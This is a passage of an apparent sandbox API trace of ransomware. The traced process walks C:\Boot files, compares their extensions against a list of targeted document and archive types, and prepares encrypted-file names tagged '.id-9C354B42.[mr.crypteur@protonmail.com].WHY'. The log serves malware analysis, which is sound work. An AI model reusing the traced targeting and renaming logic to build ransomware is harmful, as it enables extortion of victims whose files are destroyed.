lstrlenW (lpString="BCD") returned 3 [0207.870] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.870] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.870] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.870] lstrlenW (lpString=".doc") returned 4 [0207.870] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0207.870] lstrlenW (lpString=".docx") returned 5 [0207.871] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0207.871] lstrlenW (lpString=".pdf") returned 4 [0207.871] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0207.871] lstrlenW (lpString=".xls") returned 4 [0207.871] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0207.871] lstrlenW (lpString=".xlsx") returned 5 [0207.871] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0207.871] lstrlenW (lpString=".ppt") returned 4 [0207.871] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0207.871] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.871] lstrlenW (lpString=".zip") returned 4 [0207.871] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0207.871] lstrlenW (lpString=".rar") returned 4 [0207.872] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0207.872] lstrlenW (lpString=".bz2") returned 4 [0207.872] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0207.872] lstrlenW (lpString=".7z") returned 3 [0207.872] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0207.872] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.872] lstrlenW (lpString=".dbf") returned 4 [0207.872] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0207.872] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.872] lstrlenW (lpString=".1cd") returned 4 [0207.872] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0207.872] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.872] lstrlenW (lpString=".jpg") returned 4 [0207.872] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0207.873] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.873] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.873] lstrlenW (lpString=".doc") returned 4 [0207.873] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0207.873] lstrlenW (lpString=".docx") returned 5 [0207.873] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0207.873] lstrlenW (lpString=".pdf") returned 4 [0207.873] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0207.873] lstrlenW (lpString=".xls") returned 4 [0207.873] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0207.873] lstrlenW (lpString=".xlsx") returned 5 [0207.873] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0207.873] lstrlenW (lpString=".ppt") returned 4 [0207.874] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0207.874] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.874] lstrlenW (lpString=".zip") returned 4 [0207.874] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0207.874] lstrlenW (lpString=".rar") returned 4 [0207.874] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0207.874] lstrlenW (lpString=".bz2") returned 4 [0207.874] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0207.874] lstrlenW (lpString=".7z") returned 3 [0207.874] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0207.874] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.874] lstrlenW (lpString=".dbf") returned 4 [0207.874] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0207.874] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.875] lstrlenW (lpString=".1cd") returned 4 [0207.875] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0207.875] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0207.875] lstrlenW (lpString=".jpg") returned 4 [0207.875] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0207.875] lstrcmpiW (lpString1=".LOG1", lpString2=".WHY") returned -1 [0207.876] lstrlenW (lpString="BCD.LOG1") returned 8 [0207.876] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.876] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=0) returned 1 [0207.876] CloseHandle (hObject=0x260) returned 1 [0207.877] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.877] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.877] lstrlenW (lpString=".doc") returned 4 [0207.877] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0207.877] lstrlenW (lpString=".docx") returned 5 [0207.877] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0207.877] lstrlenW (lpString=".pdf") returned 4 [0207.877] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0207.877] lstrlenW (lpString=".xls") returned 4 [0207.877] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0207.877] lstrlenW (lpString=".xlsx") returned 5 [0207.877] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0207.877] lstrlenW (lpString=".ppt") returned 4 [0207.877] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0207.877] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.878] lstrlenW (lpString=".zip") returned 4 [0207.878] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0207.878] lstrlenW (lpString=".rar") returned 4 [0207.878] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0207.878] lstrlenW (lpString=".bz2") returned 4 [0207.878] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0207.878] lstrlenW (lpString=".7z") returned 3 [0207.878] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0207.878] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.878] lstrlenW (lpString=".dbf") returned 4 [0207.878] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0207.878] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.878] lstrlenW (lpString=".1cd") returned 4 [0207.879] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0207.879] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.879] lstrlenW (lpString=".jpg") returned 4 [0207.879] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0207.880] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.880] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.880] lstrlenW (lpString=".doc") returned 4 [0207.880] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0207.880] lstrlenW (lpString=".docx") returned 5 [0207.880] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0207.880] lstrlenW (lpString=".pdf") returned 4 [0207.880] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0207.880] lstrlenW (lpString=".xls") returned 4 [0207.880] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0207.880] lstrlenW (lpString=".xlsx") returned 5 [0207.880] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0207.880] lstrlenW (lpString=".ppt") returned 4 [0207.880] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0207.880] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.880] lstrlenW (lpString=".zip") returned 4 [0207.880] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0207.881] lstrlenW (lpString=".rar") returned 4 [0207.881] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0207.881] lstrlenW (lpString=".bz2") returned 4 [0207.881] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0207.881] lstrlenW (lpString=".7z") returned 3 [0207.881] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0207.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.881] lstrlenW (lpString=".dbf") returned 4 [0207.881] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0207.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.881] lstrlenW (lpString=".1cd") returned 4 [0207.881] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0207.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0207.881] lstrlenW (lpString=".jpg") returned 4 [0207.881] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0207.882] lstrcmpiW (lpString1=".LOG2", lpString2=".WHY") returned -1 [0207.882] lstrlenW (lpString="BCD.LOG2") returned 8 [0207.882] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.883] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=0) returned 1 [0207.883] CloseHandle (hObject=0x260) returned 1 [0207.883] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.883] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.883] lstrlenW (lpString=".doc") returned 4 [0207.883] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0207.883] lstrlenW (lpString=".docx") returned 5 [0207.883] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0207.883] lstrlenW (lpString=".pdf") returned 4 [0207.883] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0207.883] lstrlenW (lpString=".xls") returned 4 [0207.883] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0207.884] lstrlenW (lpString=".xlsx") returned 5 [0207.884] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0207.884] lstrlenW (lpString=".ppt") returned 4 [0207.884] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0207.884] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.884] lstrlenW (lpString=".zip") returned 4 [0207.884] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0207.884] lstrlenW (lpString=".rar") returned 4 [0207.884] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0207.884] lstrlenW (lpString=".bz2") returned 4 [0207.884] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0207.884] lstrlenW (lpString=".7z") returned 3 [0207.884] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0207.884] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.885] lstrlenW (lpString=".dbf") returned 4 [0207.885] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0207.885] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.885] lstrlenW (lpString=".1cd") returned 4 [0207.885] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0207.885] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.885] lstrlenW (lpString=".jpg") returned 4 [0207.885] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0207.885] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.885] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.885] lstrlenW (lpString=".doc") returned 4 [0207.885] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0207.886] lstrlenW (lpString=".docx") returned 5 [0207.886] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0207.886] lstrlenW (lpString=".pdf") returned 4 [0207.886] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0207.886] lstrlenW (lpString=".xls") returned 4 [0207.886] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0207.886] lstrlenW (lpString=".xlsx") returned 5 [0207.886] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0207.886] lstrlenW (lpString=".ppt") returned 4 [0207.886] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0207.886] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.886] lstrlenW (lpString=".zip") returned 4 [0207.886] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0207.887] lstrlenW (lpString=".rar") returned 4 [0207.887] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0207.887] lstrlenW (lpString=".bz2") returned 4 [0207.887] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0207.887] lstrlenW (lpString=".7z") returned 3 [0207.887] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0207.887] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.887] lstrlenW (lpString=".dbf") returned 4 [0207.887] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0207.887] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.887] lstrlenW (lpString=".1cd") returned 4 [0207.887] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0207.887] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0207.887] lstrlenW (lpString=".jpg") returned 4 [0207.887] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0207.888] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.888] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0207.888] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.889] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=89168) returned 1 [0207.889] CloseHandle (hObject=0x260) returned 1 [0207.889] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0207.889] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.889] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.890] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.890] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.890] lstrlenW (lpString=".doc") returned 4 [0207.890] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.890] lstrlenW (lpString=".docx") returned 5 [0207.890] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.890] lstrlenW (lpString=".pdf") returned 4 [0207.890] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.890] lstrlenW (lpString=".xls") returned 4 [0207.890] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.891] lstrlenW (lpString=".xlsx") returned 5 [0207.891] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.891] lstrlenW (lpString=".ppt") returned 4 [0207.891] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.891] lstrlenW (lpString=".zip") returned 4 [0207.891] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.891] lstrlenW (lpString=".rar") returned 4 [0207.891] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.891] lstrlenW (lpString=".bz2") returned 4 [0207.891] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.891] lstrlenW (lpString=".7z") returned 3 [0207.891] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.891] lstrlenW (lpString=".dbf") returned 4 [0207.891] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.891] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.892] lstrlenW (lpString=".1cd") returned 4 [0207.892] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.892] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.892] lstrlenW (lpString=".jpg") returned 4 [0207.892] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.892] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.892] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.892] lstrlenW (lpString=".doc") returned 4 [0207.892] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.892] lstrlenW (lpString=".docx") returned 5 [0207.892] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.892] lstrlenW (lpString=".pdf") returned 4 [0207.892] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.892] lstrlenW (lpString=".xls") returned 4 [0207.893] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.893] lstrlenW (lpString=".xlsx") returned 5 [0207.893] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.893] lstrlenW (lpString=".ppt") returned 4 [0207.893] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.893] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.893] lstrlenW (lpString=".zip") returned 4 [0207.893] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.893] lstrlenW (lpString=".rar") returned 4 [0207.893] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.893] lstrlenW (lpString=".bz2") returned 4 [0207.893] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.893] lstrlenW (lpString=".7z") returned 3 [0207.893] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.894] lstrlenW (lpString=".dbf") returned 4 [0207.894] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.894] lstrlenW (lpString=".1cd") returned 4 [0207.894] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.894] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0207.894] lstrlenW (lpString=".jpg") returned 4 [0207.894] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.895] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.895] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0207.895] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.896] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=87616) returned 1 [0207.896] CloseHandle (hObject=0x260) returned 1 [0207.896] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0207.896] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.896] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.897] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.897] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.897] lstrlenW (lpString=".doc") returned 4 [0207.897] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.897] lstrlenW (lpString=".docx") returned 5 [0207.897] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.897] lstrlenW (lpString=".pdf") returned 4 [0207.897] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.897] lstrlenW (lpString=".xls") returned 4 [0207.897] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.897] lstrlenW (lpString=".xlsx") returned 5 [0207.897] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.897] lstrlenW (lpString=".ppt") returned 4 [0207.897] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.897] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.897] lstrlenW (lpString=".zip") returned 4 [0207.897] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.898] lstrlenW (lpString=".rar") returned 4 [0207.898] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.898] lstrlenW (lpString=".bz2") returned 4 [0207.898] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.898] lstrlenW (lpString=".7z") returned 3 [0207.898] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.898] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.898] lstrlenW (lpString=".dbf") returned 4 [0207.898] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.898] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.898] lstrlenW (lpString=".1cd") returned 4 [0207.898] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.898] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.898] lstrlenW (lpString=".jpg") returned 4 [0207.898] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.898] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.899] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.899] lstrlenW (lpString=".doc") returned 4 [0207.899] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.899] lstrlenW (lpString=".docx") returned 5 [0207.899] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.899] lstrlenW (lpString=".pdf") returned 4 [0207.899] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.899] lstrlenW (lpString=".xls") returned 4 [0207.899] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.899] lstrlenW (lpString=".xlsx") returned 5 [0207.899] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.899] lstrlenW (lpString=".ppt") returned 4 [0207.899] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.900] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.900] lstrlenW (lpString=".zip") returned 4 [0207.900] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.900] lstrlenW (lpString=".rar") returned 4 [0207.900] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.900] lstrlenW (lpString=".bz2") returned 4 [0207.900] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.900] lstrlenW (lpString=".7z") returned 3 [0207.900] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.900] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.900] lstrlenW (lpString=".dbf") returned 4 [0207.900] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.900] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.900] lstrlenW (lpString=".1cd") returned 4 [0207.900] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.901] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0207.901] lstrlenW (lpString=".jpg") returned 4 [0207.901] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.901] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.901] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0207.901] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.902] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=91712) returned 1 [0207.902] CloseHandle (hObject=0x260) returned 1 [0207.902] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0207.902] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.902] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.903] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.903] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.903] lstrlenW (lpString=".doc") returned 4 [0207.903] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.903] lstrlenW (lpString=".docx") returned 5 [0207.903] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.903] lstrlenW (lpString=".pdf") returned 4 [0207.903] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.903] lstrlenW (lpString=".xls") returned 4 [0207.903] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.903] lstrlenW (lpString=".xlsx") returned 5 [0207.903] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.903] lstrlenW (lpString=".ppt") returned 4 [0207.903] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.904] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.904] lstrlenW (lpString=".zip") returned 4 [0207.904] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.904] lstrlenW (lpString=".rar") returned 4 [0207.904] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.904] lstrlenW (lpString=".bz2") returned 4 [0207.904] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.904] lstrlenW (lpString=".7z") returned 3 [0207.904] lstrcmpiW (lpString1=".7z", 